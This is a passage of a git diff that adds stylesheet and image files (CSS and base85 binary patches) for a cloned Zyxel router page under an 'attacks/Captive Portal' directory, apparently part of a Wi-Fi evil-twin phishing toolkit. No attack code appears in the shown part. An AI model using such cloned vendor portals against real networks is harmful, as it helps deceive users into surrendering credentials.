#ededed;height:26px;background-color:#fff;font-family:Arial,Helvetica,sans-serif;line-height:26px;font-size:12px;color:#010101;border-left-width:1px;border-left-style:solid;border-left-color:#99bbe8;background-image:url(../images/table_02_center.gif);border-right-width:1px;border-right-style:solid;border-right-color:#d0d0d0;text-indent:5px}.top_left3{display:block;border-bottom:1px solid #ededed;height:45px;background-color:#fff;font-family:Arial,Helvetica,sans-serif;line-height:26px;font-size:12px;color:#010101;border-left-width:1px;border-left-style:solid;border-left-color:#99bbe8;background-image:url(../images/table_03_center.gif);border-right-width:1px;border-right-style:solid;border-right-color:#d0d0d0;text-indent:5px}.top_right{display:block;border-bottom:1px solid #ededed;height:26px;background-image:url(../images/table_02_center.gif);font-family:Arial,Helvetica,sans-serif;line-height:26px;font-size:12px;color:#010101;border-right-width:1px;border-right-color:#99bbe8;border-right-style:solid;text-indent:5px}.top_font{display:block;border-bottom:1px solid #ededed;height:26px;background-image:url(../images/table_02_center.gif);font-family:Arial,Helvetica,sans-serif;line-height:26px;font-size:12px;color:#010101;border-right-width:1px;border-right-style:solid;border-right-color:#d0d0d0;text-indent:5px}.top_font2{display:block;border-bottom:1px solid #ededed;height:26px;background-image:url(../images/table_02_center.gif);font-family:Arial,Helvetica,sans-serif;line-height:26px;font-size:12px;color:#010101;border-right-width:1px;border-right-style:solid;border-right-color:#d0d0d0;text-align:center}.top_font3{display:block;border-bottom:1px solid #ededed;height:45px;background-image:url(../images/table_03_center.gif);font-family:Arial,Helvetica,sans-serif;line-height:45px;font-size:12px;color:#010101;border-right-width:1px;border-right-style:solid;border-right-color:#d0d0d0;text-indent:5px}.table_left{display:block;border-bottom:1px solid #ededed;height:22px;background-color:#fff;font-family:Arial,Helvetica,sans-serif;line-height:22px;font-size:12px;color:#010101;border-left-width:1px;border-left-style:solid;border-left-color:#99bbe8;text-indent:5px}.table_right{display:block;border-bottom:1px solid #ededed;height:22px;background-color:#fff;font-family:Arial,Helvetica,sans-serif;line-height:22px;font-size:12px;color:#010101;border-right-width:1px;border-right-style:solid;border-right-color:#99bbe8;text-indent:5px}.table_font{display:block;border-bottom:1px solid #ededed;height:22px;background-color:#fff;font-family:Arial,Helvetica,sans-serif;line-height:22px;font-size:12px;color:#010101;text-indent:5px}.table_font2{display:block;border-bottom:1px solid #ededed;height:22px;background-color:#fff;font-family:Arial,Helvetica,sans-serif;line-height:22px;font-size:12px;color:#0b70fc;text-align:left}.table_font3{display:block;border-bottom:1px solid #ededed;background-color:#fff;font-family:Arial,Helvetica,sans-serif;line-height:22px;font-size:12px;color:#06f;text-indent:5px;height:22px}.table_right2{display:block;border-bottom:1px solid #ededed;height:22px;background-color:#fff;font-family:Arial,Helvetica,sans-serif;line-height:22px;font-size:12px;color:#0b70fc;border-right-width:1px;border-right-color:#99bbe8;border-right-style:solid;text-indent:5px}.table_title{font-family:Arial,Helvetica,sans-serif;font-size:12px;color:#39418b;font-weight:bold;text-indent:10px}.top2_left{display:block;border-bottom:1px solid #ededed;height:18px;background-color:#fff;font-family:Arial,Helvetica,sans-serif;line-height:18px;font-size:12px;color:#010101;border-left-width:1px;border-left-style:solid;border-left-color:#99bbe8;background-image:url(../images/table_02_center2.gif);border-right-width:1px;border-right-style:solid;border-right-color:#d0d0d0;text-indent:5px}.top2_right{display:block;border-bottom:1px solid #ededed;height:18x;background-image:url(../images/table_02_center2.gif);font-family:Arial,Helvetica,sans-serif;line-height:18px;font-size:12px;color:#010101;border-right-width:1px;border-right-color:#99bbe8;border-right-style:solid;text-indent:5px}.top2_font{display:block;border-bottom:1px solid #ededed;height:18px;background-image:url(../images/table_02_center2.gif);font-family:Arial,Helvetica,sans-serif;line-height:18px;font-size:12px;color:#010101;border-right-width:1px;border-right-style:solid;border-right-color:#d0d0d0;text-indent:5px}.top2_font2{display:block;border-bottom:1px solid #ededed;height:18px;background-image:url(../images/table_02_center2.gif);font-family:Arial,Helvetica,sans-serif;line-height:18px;font-size:12px;color:#010101;border-right-width:1px;border-right-style:solid;border-right-color:#d0d0d0;text-align:center}a.iclose{display:block;background-image:url(../images/b_close.gif);width:15px;height:15px;background-repeat:no-repeat}a:hover.iclose{background-image:url(../images/b_close_on.gif)}.popupcontent{font-family:Arial,Helvetica,sans-serif;font-size:11px;color:#010101;text-indent:5px}#popup{position:absolute;width:100%;height:100%;background-color:#000;z-index:150;filter:alpha(Opacity=70,Style=0);-moz-opacity:.7;opacity:.7;visibility:hidden}#popup_table{position:absolute;width:80%;margin:0 27%;top:150px;z-index:151;visibility:hidden;left:1px}#popup2_table{position:absolute;width:60%;margin:0 32%;top:220px;z-index:152;left:1px;visibility:hidden}#popup3_table{position:absolute;width:60%;margin:0 32%;top:220px;z-index:153;left:1px;visibility:hidden}#popup2{position:absolute;width:100%;height:100%;background-color:#000;z-index:150;filter:alpha(Opacity=70,Style=0);-moz-opacity:.7;opacity:.7;visibility:visible}#popup4_table{position:absolute;width:60%;margin:0 32%;top:140px;z-index:153;left:1px;visibility:hidden}.space{display:block;height:20px;width:166px;line-height:20px}.space a{font-family:Arial,Helvetica,sans-serif;color:#ccc;font-size:11px;text-decoration:none}.space2{display:block;height:400px;width:166px}.space3{display:block;height:28px;background-image:url(../images/line2.gif);background-repeat:repeat-x}.space4{display:block;height:15px;width:166px;background-image:url(../images/menu_top.gif);background-repeat:repeat-x;font-family:Arial,Helvetica,sans-serif;font-size:12px;color:#feffff;font-weight:bold;text-indent:4px;padding-top:15px}.button{position:absolute;width:50%;margin:0 46%}.button ul li{display:block;float:left;margin:5px 20px}.button li a{display:block;background-image:url(../images/button_right.gif);background-position:right top;line-height:21px;font-size:11px;text-decoration:none;color:#2b002c;font-family:Arial,Helvetica,sans-serif}.button li a:hover{background-position:right -21px}.button li a span{display:block;background-image:url(../images/button_left.gif);background-position:left top;background-repeat:no-repeat;padding:0 5px 0 5px}.button li a:hover span{background-position:left -21px}.button3{display:block;width:100%;height:25px}.button3 ul li{display:block;float:right;margin-left:20px}.button3 li a{display:block;background-image:url(../images/button_right.gif);background-position:right top;line-height:21px;font-size:11px;text-decoration:none;color:#2b002c;font-family:Arial,Helvetica,sans-serif}.button3 li a:hover{background-position:right -21px}.button3 li a span{display:block;background-image:url(../images/button_left.gif);background-position:left top;background-repeat:no-repeat;padding:0 15px 0 15px}.button3 li a:hover span{background-position:left -21px}ul li.set{display:block;width:5%;font-family:Arial,Helvetica,sans-serif;color:#010101;font-size:12px;line-height:27px;text-indent:3px;text-align:center}ul li.item2{display:block;width:42%;font-family:Arial,Helvetica,sans-serif;color:#010101;font-size:12px;line-height:27px}ul li.set_p{display:block;width:5%;font-family:Arial,Helvetica,sans-serif;color:#0b70fc;font-size:12px;line-height:20px;margin-left:3px;text-indent:8px;text-align:center}ul li.item_p4{display:block;width:43%;font-family:Arial,Helvetica,sans-serif;color:#010101;font-size:12px;line-height:20px;margin-left:5px} \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/css/update.css b/attacks/Captive Portal/sites/Zyxel_it.portal/css/update.css new file mode 100644 index 0000000..8e2344f --- /dev/null +++ b/attacks/Captive Portal/sites/Zyxel_it.portal/css/update.css @@ -0,0 +1 @@ +.box_alert{color:#c00;font-weight:bold}span.error{color:#c00;font-size:10px;font-weight:bold}progress{display:none;width:25em}progress.update{display:inline-block;-webkit-appearance:none;border:0}fieldset label.duple{width:183px;margin:1px 8px 4px 0;padding:0;border:0;text-align:right;font-weight:bold} \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/advance_bg.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/advance_bg.gif new file mode 100644 index 0000000000000000000000000000000000000000..95496d83eb848ee358827d021c53050d4db471bf GIT binary patch literal 831 zcmV-F1Hk-8Nk%w1VF3W#1?B(%H%oLjN^v+$b4y~5P-vD?X_YZXZ81k}GDvPQMr<=k zZ!<}6GDmGRNpLerZZbw}G)ZqZOmj6#aXCsmoK;db)s5yp<{lpUU;WxgSBRXvu1*` zWq`6|f3RJ4q-lk>XM(h4fU#nHt6_SnY>2yShq`Nsx@v~FV|}b}jlpk>z;24YZHc^U zhPP#Zu5ypVagD-pj>2(`!ElYhZ;QTag|%~##BhwhZi>5YiMniuxOS7rb&41ejE#%6(1B85gr*76eANC z7a|-P87LbQ6C`*T7$+VZcP1krA1NXp9xWgp9V{RsAqJc%Q6h#35F~JC9~lIa%&1XAN)H-+nCzG_gNcqF zLaqei!NZCY9XYrl$q_`%4<$gVFaZ+v$d4aSjQAkZq{xvYX_go<5++KKB5tZIS<=Qy zlqhYSnpA0-u?pDtwRs3}uMHEY+cSI2%W8@BD*xM}O2&HMIl-@S7O|1BK2@#4sd zD<97M_;TmXlSh9p9lG`E*r{uu&i(p!@7=S9|1KW9`SR$=s~^w){CfB8)5m`=AHMzi J_~{1%06SoUW;Xx; literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/advance_logo.jpg b/attacks/Captive Portal/sites/Zyxel_it.portal/images/advance_logo.jpg new file mode 100644 index 0000000000000000000000000000000000000000..818aef9ac5b56423a22256af76bca13c2fbb65a8 GIT binary patch literal 1728 zcmYjP3s6(n7CkqYgnUTIO#;aS5fY>dn#ae2wqO;66hZ+7DHZV*Frs`4f?z9B1SSzQ zQVCj`AR`ifiWZ0Y)?T_^ll*NL>UMMR2aq)0KjMgz@iN9 zs{S`11bCbQ=!rMM8{X4>+m-(S zBH-}^B7sC8kSHWFiGom2AoLFgbQWTY0%4gm84L!~-0KER?*Tn%Pz(&AIsXRE7+^855gr0C1pT{!k`TaB0c3>1K(Jx755Pib0pJiC z+u4Oqb>cA05P&go#`wQ|(HlV6G$UtE4t;A>@=$OzgPJW-bh+4Koyz1N(@;H({dX_O z8DV3nTazVao>6o(2$~Txg8ym=pu2LY|hl*6iXl`JN9l z*dR-iS0~IUuU&T(1|_Dnj7}Y#`Yy~J8JN8E?1Kg}Xc*qE;pJsCo|UBhZ2nOHa_2(7 zV$H~c^3#PwfsQr`Mf~Ip|FaZuws?5>#tyq+Q5*}{_T7wZWY>t>IV@G=_9HzHF4rq# zBe(}MDyOS*rap3$-gB&L^_dT&s9&d64uq+^Msju)-1jniFaPRz&bE5 zKx99W11G5t4A`j`iyCtHTPx%CXLAM3ooh-1LPrX-?|C#{9bB3kgWCvIxvYt~_Qh3h ze~V@Nc(+-F&d&O>nYzuPqT$VHjlX(nZiDbbwjxQfn(HVEF#1B>v$2ge%Q8;+N zsk=7Mcr3){6D~*5Znco96S`s6cdzSqmfx;uU4OFwf4ZlgGWL!(?$43fBbY+2X5*Wd z_cVN=k8f`l-hI0NGg(E!%a~0;14UntY`!VlR8LCeHY?vQ`++M9&2!JM^KvVwJw`v} zA|C7MOq;C>(w&p8?^-K{?)PfqY?AwJK(gTN?OPc^g8>!{VA??C1AN9=9<4w4uZPh>L zmP(7|S1xaB`jt^RJ9F4e`{P`AUcE6s)@l$=?H5dRqB&X@*9C*R~UP3#}yb_Sd|V*^S^*tdd~xhenG-o0i1$;T6_Uz-i{ zo42vBUJ1ubsq2v|dr92YVl%zYw{{o^kw9Cl9X(Pa^M6Xr1{a$4U=W zY5Za);g`>)M54op%4^P{sHsaMjS`yXYB!i{x!rEJ7&p^no+S^y7%z)X>1a;4R=z)S zbm2^*Beuq8=a-IzpiQq>@hRfu?bFSglS1y0lhggD>T@l}vR1i;)W0W&veP}UUhnW! zOt2O^qTkzaSKkSdKP{U&y4ZKBIy2nN_1M vG~@oHeXv6=EoJDPj!E|T>e5YqU2?j%#uWA{(TJ22`&uIY%Osr+(LekX((kSe literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/air.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/air.gif new file mode 100644 index 0000000000000000000000000000000000000000..35d42e808f0a8017b8d52a06be2f8fec0b466a66 GIT binary patch literal 43 scmZ?wbhEHbWMp7uXkcLY|NlP&1B2pE7Dgb&paUX6G7L;iE{qJ;0LZEa`2YX_ literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_close.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_close.gif new file mode 100644 index 0000000000000000000000000000000000000000..daa863193af4221fb0d1d0c079a17db4aa81f4e0 GIT binary patch literal 169 zcmV;a09OA;Nk%w1VGjTg0J8u9|NsA)yXc>?iPfF=>E{>{m$n7A^8LV00000EC2ui01p5U000D5Fr`4N4RV6bJHUY_ZWK@y z!l|ak7cv4NFmyb-z_Qr8tmBBFO%_Dp3`m15X}}$xL&5WaYcywBdY;NTPI66QheKF=NL_?BOK?6^ zcu-`AS!#_!S9>u=Y%xS+I7@3lRC!5Whe%s~Ty2m+Q*kdrVOD31KURA!KwmXTXFykd zKvjAyK3zgrctKWrA^8LV00000EC2ui03!e<000I5pd*fCX`UwG0Kn0_?9~JHu9uteYwh!dAgdY$B0oMx~5Hvt25Kx1F3kEI(KyYAMkTn|+ zNK_|b;2Q-RG)O>TK!O1T)(q?+#4kWU2@@dy)VNbXgGq@Vk!cu!k4S-+>Lv&vb0ffp zm+OulSiphint?YdDj<`?qFq14^4Co?HkL(}}KB-Jl2Z?a#=un9A05Aa?c9a;$ ujtLAh8VgWHi3&0wA;8T6m3=jh3JxSNK`K$QFy%25Sb3!jH7qGb2mm`3niEL? literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_config_on.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_config_on.gif new file mode 100644 index 0000000000000000000000000000000000000000..a2762da424045795ba51ae1739c646518124576e GIT binary patch literal 726 zcmV;{0xA7RNk%w1VIu%00K@k*H)6<`2ZI+4Y~v&pP3p-E|T+f-}-3IoER7*NVYCAS$dBoqn+0pXof z(poOVoiK>yVgv*n3`0r{01XWv6&QU92$2?o1Q!Aw5kM=7h#v6$6}!3>BYz2MP%ncUjf3$Fxacz)2C94#*Bb*tf3&ni?xu zC~zmRK{ZYr7G!Xs4T75s7j9i>H6UVvYXUO=Xgjb$(M4k%4@eMD0oyYR77PS4si4t< zl`Jm;c(7690}28(h{I_>z|H~zSWx)60K!58A2w{DkfEr62!gylFkoR!zZC(ZR`|)$ z>b^*_+))s8Ktst7l+KlenpPZ!lx{DS!hk{Lg1<90Ea8Pf0)}sC(>8b@K!DZ22>u$* zAmG6RCSd1uhM0E3gaB~tS;Yp@fZ?hfFmwn*DJ*HzxC30vfI%F{*bY=$1!;R!s?V&qvVhRFK@2tTx1PmNfjUy02L-LXny35an)#Q*>R literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_dashboard.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_dashboard.gif new file mode 100644 index 0000000000000000000000000000000000000000..9056300a1471939d5d9e84f7bce59902133f9b36 GIT binary patch literal 714 zcmV;*0yX_dNk%w1VIu%00K@39Sm@Sw>MjmOxmcFRGdQ>t}^MJl;XFH{PwUXA80)A?op z++?_R*~Qhvcq|_Z0ELAeh>08=5seW7kB|xhKLvpj2ps?eoSg}upaup552X(q4FC>p zV=M>&0s$Bp8x<7`5)25tyA!^?1s?z#tXHoBv@i$>ox7Y46Fj~Y01L%r#~2J0%MIQQ z&IolAuhw_1m>#hM0tyBK@Cv&W7}3(?01}m#6zTy95fn6VBw!bVari!5W6@6lgaj8j zBv1ek90CkqqToZYPy&Su3NRSBpiaSnTnH@x`01gM0RRg7&O{mbp zYmh(-5_nLci!22O3r?Yx#-Kxjm{;V=8(Y<&g;O=?WcvFSom>GbzPS@+02H&T6cYID zn81(+0G|yRN`#0}1V)enlQAILkZDJcVmE>W&wy$ctV=I?4V!i(c(rd!NY%PS1OSQ_ z!Hx~70aW1eZ~~`@6X&<LAeI}i@8B6&7(c!gC7@&+DL2Ce=2-X#vW+Uu?B+;Q1IY=2udg*D-<+f00j=d w03m=|fiYke1w?k8Hi0Qfo0z!YX`X1Ju59bR?vf~UZQpo) z%X;tQyq~Zal+cXBp-f_ADxAnmJ z!ikN(4A5xifE{RY0fmMgc6fRld~z5a2LzD`gBKWvh8GbAiU=D63;=Qs2MH6W69n!``90|*JU9TgTI z69D3=zJAh$)lW1s1MSR$80OOfhz3X!?A*~>BTifc4jD3dz^5-*wI&Jz zs-TrH!-a|t?0Hz2PanSs2_VW)F#tlcgbq^ws^susBfgH(I#__94j>Bx6jkbE*^;Bj zeo#iLm>{5l&Ye76GW>O6X3dcVObPhlpu$lOSd%Kv*AxO1CQu0wO;)gMg|lcYxVhlX z>l2#<;ua7z}&)G_8!hs;O%0u6CM}d z%(pX^4_*`tMm5(fa}+Q!D1$z85M-vxD7xsz`M6^(X(sMn}GYa@8i8U z7+4^hHmXyDU9>YcW{d>uV4rIr9Ct;#@6;D52Kc%_V+EY!F!EGC!c?wh$osA0vpVxUwrEMw@7<|i7?)U7-o232mm`8<0t9> literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_maintenance_on.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_maintenance_on.gif new file mode 100644 index 0000000000000000000000000000000000000000..13cebee109aa1afcaaa7604a9aa0d274886c7353 GIT binary patch literal 701 zcmV;u0z&;qNk%w1VIu%00K@ zqB&!pGDmBfx!{7O&^TL#8d8j?vA%SIdRCLn6g_h>G&FUwnm=s z@9*%n?;PmwMA^8LV00000EC2ui03!e<000I5AR~@sX`Uv+AZ+Wta15_YZQppV z>9vKO-kM@0y>tFe%T2_J{O4GzN(dcy`2#h-zL9~!c=4Fm)Y z1`iN>`B3w9RC_)4Y6(sl>VDSNiiWV3D1!3V#<0lRt%78qu5dg}Y3sl}%;h?7j zmwqmcndvJgN(dQp8szB{Xsj?5D$tY#KuFRI3~G>L&{Kc|0dHm%xL_qJ%?k}WbRgg$ zQw9k2c77G$_05HvQp{e6KtOH02^$7_kxQ5E06M+^9Ed740)lR9Elj}h7H+0;UmG+4 zi@45Wvl1{^7;OOoh7FY$Y$_)}v*yEhJu|K#F6U{~8FCjK#@clQ2^#MLn09l2EJX>?aAU?IP6H7bGIM>S`Fyk;%hGK)!DEE z4=OL;jv?Ih@V<@b6Fv`^G>}CMK$8bLcmQrz7F0Z4=5}ek*y_jR=edMyWUSYv|^R8W)}*Uj;qDvD!Wua zzu_s_nmB9iUQuFHK~{1}e_VHhdT>OCSri(Rlo|_{8xUjy2c4b=aef~Kq@@g`3=3^x zKUAP*b1tI<4z&iiw+<1z1icKWmJa}-u^W=KxXHD(yuSq)7{bFueiRF|w#v-C1g8ZH zAHu|l8w(7(*#;5J5xxu<8Xp@20MmWN4HOK$>kbCGyV`XFwqQes3-yZl@nE6AJ{Ie^ zadT#gLWTz&5?(1L!Gi{e4}G~KNMQmP0UYfA`MI&+qr+|>e~~mfpu+);_Ye)JVBtf{ zQb0*rG6)99fs_i14S>*~frXX}tW}Civ?iyc(;&Hk0HK0}48~qi7#p>ugbG$YAyDwh z57!-D&wd5Ffd&`|MsEUG+qReh2upVW-ud7LTB}!Y9^gx@*a5DPAqN(m*AsxnY&Ryc z&}nJp&s>9i>a-U@UqnYcaqz^UwQJW1I3So!+qC8^s$c7tUAs5!q=+iKl^_^G?$rnW z{=f?$rOIMUP!-TX;l&JVF)<7%1dH4f4aky-cfcUS_Ao9(`l) zF=lw!P{G;<3LfM^h<#cm;zS^A46;W=cM-@_haw0HI3OQbXkg$Pc(^ekEEu#CPZ|)i tA>o330RT}z0Zrr#DbRfIK?61vMa4aAVQ^xKBbCzPi!t&rV*nul06Q=a9OM81 literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_monitor_on.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/b_monitor_on.gif new file mode 100644 index 0000000000000000000000000000000000000000..4d60c680a82d964af0de84836406fad7fea2a666 GIT binary patch literal 653 zcmV;80&@LFNk%w1VIu%00K@K399Y;rL%{eHT}n zo}r{AW~N=7&xFJ5A^8LV00000EC2ui03!e<000I5U?PrWX`ZH$7;Njla15_cZQppV z1h{}8C(NB4Ucw|Q^TLH?0J2)8+SDmTkzA`@b(a;u*04Esf(<)! zY^AbhnX;7`Gv-_gZjbUZE1|F7zkmb#&6^-=uM2_`D<;gV*MbQeAltEuxUW?_8bn|) zRd|}`ITaQxu%Jtqg#{cqP@ur!PZU0lJv$J+x`6H5xC>CQ;93bE+0y{%T0kLpan=?h zZ+Ts5ngZYeLTflJI(g(vT%7O#9vp6qZ_Y0L;i>&MckeE~F$kaC_gn4`(6az9zPz+Umimz4oYeWxA@cFVbUiU?U`5dr`^^9C7l literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/button_left.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/button_left.gif new file mode 100644 index 0000000000000000000000000000000000000000..ae111fc73edd165ffe85ecd8460f4da8ebc9b55b GIT binary patch literal 227 zcmZ?wbhEHbWMR-^I3mEnV3f%q+4lP5w?BXXJ%0W1%a;!yKD_?={l~S3?|RnX*m3&N zm7DkX9X$Tx#WS6lxivGl{r~@;ffS(llZBCiL4ZLAqzPmv18af;OHadMo&%kHIt4N> zsu^4juQSC8R9$|}(XeoXfK*r8;)xqsOr(5{HNC9haZ&b2kSi~v*2u`w!pYUdz|RyFt;k>v0IoVr`v3p{ literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/button_right.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/button_right.gif new file mode 100644 index 0000000000000000000000000000000000000000..9f7c4d37ae840aafc7175439405ba631d5b20927 GIT binary patch literal 833 zcmV-H1HSx6Nk%w1VTJ%I0K^ag{r>*Z+2yv&=)b|okgL`0^7!cO^x)&^+2-{CGHC!A zhW7XQ@%sJp^!MlF-85pF|Ns900000000000000000000000000000000000000000 z000000000000000A^8LW000mGEC2ui0EPf6000I5U?PrWX`X1Ru59bREd41ejE#sHv)} ztgWuEu(7hUw6G0u2L}eZySlu;zQMi2z{JAE$j8dY%*oBm&e6UO)CsxQ*xB0K+}+;a z;Njxq-=)?E0oUod>*(t5?C|dK^z-)Z`11Mn`}g|)`~ad8lpsI=2L=x&L}-wq!iEbY zLY(-pqQi?4EoQ_>k)y_r8$%jAP%WX!lPFXFs$9vkrOTHvW5O&cv!>0PICI{tHlU}^ zpFo2O9ZIyQ(W6L{DmBV;sne%Wqe_L^bgI>>ShEsEm_V!7uVA6Z0YtW}*|TWP4j=-f zt=qS7(u@Gn+xw7RY3<@Y< zz`3*M&!9t#9!C>oFm)@mdl0+o_Q*$0H1&cD(Ikf3h*bPh$gBiodZl(Km)TyD(R$@Zejod2@Iy`rkr-_ L>8A=n5CQ-@j7q9d literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/down0.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/down0.gif new file mode 100644 index 0000000000000000000000000000000000000000..663e91f0814a985b12ef1f0826cce0992a7354a5 GIT binary patch literal 121 zcmZ?wbhEHbmYc?Kr_IsGe7zvW*%XUnbb L&G+VrGgt!vQpOa` literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/favicon.ico b/attacks/Captive Portal/sites/Zyxel_it.portal/images/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..a7f2df3c6adf7d367b2e9eca63e0aaed55b9d11b GIT binary patch literal 1406 zcmbtQU1%I-6g{EMn(Ssa*U%@$W%&1)l_?ttraJ zB<`fUn{76wR{SAiq1J)~`qDQWsg14rV%vur5XH98)Iyq>-TC?E^L&%U1wmiD!U^LT%L%BzA z_{n}8+1ZA%zD+3XYQ;o<2qk)py&)8nA&m7#P)N38A{oYbG74jN1P1F8QA}zm6UX}7 zakMXjD(l$+4HH?;(L*rwR*a=1m`H_D&^3&w*h_1eOn1_w!AP~EI2b`u55u6ZOkUE- zvtg98%=8h6=SKq*yG$vMnfsniSi!uy{vN@ zs+kaua?dPL<@_pVR0pG&);lqyN2x21h8f~Sx&t+yndJW}40OZjPoO*y!%Q;4dw26Y zV*I8U?-%FYx=zsc!D>=H3L}&-U<++fd7F!7)9?-EqtkA7vAmVgJNq z3DnYCF}e3qRG!vRd1*h6Kl>Cue0e|4^*Up~AtxM7l*Ds-Q>ni-^ zB{+BgfNS1_Z{CJf%fzZ@!gKCH$`$yI1>3hEghg%= zb(oe5&lC`K8!N5@)3IUt4(gr*%Mq|#A1l5OQ?QmEEKg!pN?5*x?Kp5<7lK(jE*#&6 zEnK)fYfEy%7dH1a;8B+zz0@RO+df>!L&KHKk~0LPOV|<~HAytM)A0oFEa3VcXVWWu za%SE^urGxNPYU>i$G#*4`;vWyjkxdI^B5&r)8EB3>*N;;_-xw+wB3p0iG}mnOzlTz z<;B)o;8ps2!!`V}91liy)Z?fxdf%x)v)z=Pz`x;gK@?~ zrq|~C@Am!L>HGNm{`&m>A^8LV00000EC2ui0Ji}b000F45F|;bt@!H9x9{L5hU93L z=&7dc>bCGJ$MkI1_^T*G@BhG{a7Zi~kI1BQ$!t2G(5Q4uty-_xK>@(adcWYXcuX#v z&*-87kZ!x*@VIs;jK6uCK7Mva__cns@}cy1Tr+zQ4f1!o$SH#>dFX%FE2n&d<=% z($mzrnAOg(+7?(gvN^7Hid_V@Vt`uqI-{{H|2n!_Zp zpuvL(6DnNDu%W|;@9+qiNU@^Dix@L%+{m$`$B!VTLy8 zoJq5$&6_xL>fFhbBOU}mg9;r=w5ZXeNRujE%CxD|r%fOt?uV1!)0}CEZxUgZPcMmIG%($^* uu7Dp)o=mxN1}32v!O9iWH(smmlR6!>PAb2` Il$F660F_A&`Tzg` literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_delete.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_delete.gif new file mode 100644 index 0000000000000000000000000000000000000000..60b4c5557efc03a748691b264153b04850e19287 GIT binary patch literal 226 zcmZ?wbhEHb6k-r!I3mEXwKnWfPvrT%Q*R$%@#NgrL!0Y2mIpsMx9!lDhTA7r?ro2_ zc6h<=wWTL_bl*R{{{E?T3?u@@pDc_F3<3-~AblV^8Cc^LRQggfr@2*iu?g%cSi_Ja zeg9w%Q_cJJ4b90L1WdSiZfSCOFt9MN@Kh86|Q777VUN_poa-(cv k`~r*IwB0YWgQR`eyoms08h0_o&W#< literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_delete_on.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_delete_on.gif new file mode 100644 index 0000000000000000000000000000000000000000..1181dff0744e9d6ed7b6930f6950bd152f23513b GIT binary patch literal 231 zcmZ?wbhEHb6k-r!I3mVyHjeK>DgWKwSr<0@91G)laj^Nrv8f-9PI+;t<-%s)lk06C z@2hxmsQG#h-`!nV*SAN1I5y?&k)Ah4dM|A8{cwEh$753%@B+o3EQ|~cVhlPURUkVV zSW_0L_N8P_bE)cL5!h33hapA!{=pokn)mA&np-vs*syWk(&TVpU}<3C_sFzceEBJ3 z0D}cX^P9ZetzJ`;*NN-sF`l??ydkNz?P6ZXuWI%~Z*x_A`~rj}gc- literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_easy.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_easy.gif new file mode 100644 index 0000000000000000000000000000000000000000..926e671425a250e6fd9c769e90cc1b2fb0043bd8 GIT binary patch literal 280 zcmZ?wbhEHb6l4%&IKsftH*;M^`Q#;Q_gVQBdB)V5c;?r3Ew%|LiOB3Q_b!Od?Kbwv za|kInbjw+`{y;!d)4UbC5(@gNIu;bv%~-U0&!jmU#G9&lgiq?6GKUo++KnFyC>||h_nxNd5lF4^M#k294PTFUQPzM!G=LFB63=O?6 z4`}r8$#g9;oZ%odfuZ<;V5AJ2;PHnH1 z0u~7+F#$nJH3dbDvK-8UmDNfq-W)MO{DHi=VG%z5O?(N=NgiIjEOYtfgF}_<9oO*l b@VewF8=IP2TGyy*XzA!B86HwmWUvMR&8K5x literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_edit.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_edit.gif new file mode 100644 index 0000000000000000000000000000000000000000..1531abc53fcbb2510288522cd1f1aa499c84f728 GIT binary patch literal 271 zcmV+q0r37uNk%w1VG;lm0K^{vb8~Z=nwslxUbC~a@9*#M@bLWn{Qv*|`uh6B#Kh#} zKMkE5%f-*T$AR@mflQhI-wtoY9wcqiq?O z7MJ`b!|}K;3wIKO5&|0;7K4E$5Cswi1sxh1kP;9kjgXK81s9N)j0B>iq@W}Lq^Sfr VXb=kn3<(Jg0}Bv#Ik_bv06SU6e=z_6 literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_edit_on.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_edit_on.gif new file mode 100644 index 0000000000000000000000000000000000000000..0bfaa89243e388f60abfcf7fe56d9866dba3b77d GIT binary patch literal 275 zcmV+u0qp)qNk%w1VG;lm0K^{v|NGigs_brEU8JO>*`@&YkzUH``)0TA_51$){{NB8 z^4akGq_u=6AvIGL7UchvLrc`|kMt(e3-{_x-AO0RPMY|K)B?k=8|?>9XMX zsN475-QEAcng9R)A^8LW0018VEC2ui01^Na000G$;3tk`Nh*(`aNEW`=J+IZojg(e z9djx(NMz6v2t~x>kpK`hM}diUtEFNt0#dd@E_*MQQh>o`SI+5@rp<eaD literal 0 HcmV?d00001 diff --git a/attacks/Captive 